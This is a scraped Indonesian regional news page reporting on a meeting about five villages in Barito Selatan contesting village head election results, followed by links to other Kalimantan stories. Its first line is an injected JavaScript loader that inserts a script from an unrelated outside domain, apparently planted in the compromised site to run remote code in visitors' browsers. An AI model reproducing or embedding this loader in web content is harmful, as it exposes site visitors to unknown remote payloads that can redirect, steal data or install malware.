(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BUNTOK, Dinas Sosial Pemberdayaan Masyarakat Desa (DSPMD) Barito Selatan (Barsel) melakukan pertemuan membahas laporan dari 5 desa yang melakukan gugatan hasil Pilkades serentak, di aula kantor DSPMD, Kamis (24/10).
Asiseten Pemerintahan Barsel Jumadi didampingi Plt DSPMD Barsel Haitami mengatakan, pertemuan dengan 5 desa kali ini menindaklanjuti atas gugatan para calon kepala desa terkait hasil Pilkades.
“Menanggapi laporan dari gugatan tersebut maka kita memanggil para calon kepala desa dari 5 desa yang melakukan gugatan,†kata Jumadi kepada Kanalkalimantan.com, Kamis (24/10).
Adapun 5 desa yang digugat hasil Pilkades-nya yakni Desa Mabuan, Kalahien dan Pararapak di Kecamatan Dusel. Desa Malungai di Kecamatan Gunung Bintang Awai dan Desa Kalanis di Kecamatan Dusun Hilir. Pemanggilan 5 desa untuk mendengar jawaban atas semua gugatan yang telah dilaporkan.
“Jadi kita memberikan penjelasan atas jawaban yang kita berikan pada gugatan lima desa tersebut,†ucap Jumadi.
Sesuai dengan Perda 7 dan Perda 9 pada pasal 45A, dari 5 desa hanya 1 desa saja yang gugutannya bisa ditindak lanjuti, sesuai hitungan selisih perolehan suara tidak lebih dari 2%. Sementara tentang gugatan tata cara di TPS itu bukan kewenangan panitia, karena itu panitia akan tetap meneruskan ke Bupati tentang proses penetapan sampai pelantikan.
“Jadi hanya desa Malungai memenuhi syarat dan akan kita fasilitasi untuk penghitungan ulang selisih hasil suara yang sudah ada. Sementara desa lainnya prosesnya akan terus dilanjutkan sampai penetapan hasil hingga pelantikan,†beber Jumadi.
Ditambahkan olehnya bila mana para pelapor dari calon kepala desa masih ada yang tidak puas akan hasil proses ini, silahkan melanjutkan ke pengadilan tata usaha negara (PTUN).
“Jadi kita akan memberikan kesempatan kepada para calon kepala desa yang tidak puas akan hasil proses ini untuk lanjut ke PTUN,†pungkas Jumadi. (digdo)
KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More
KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More
Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More
KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More
This website uses cookies.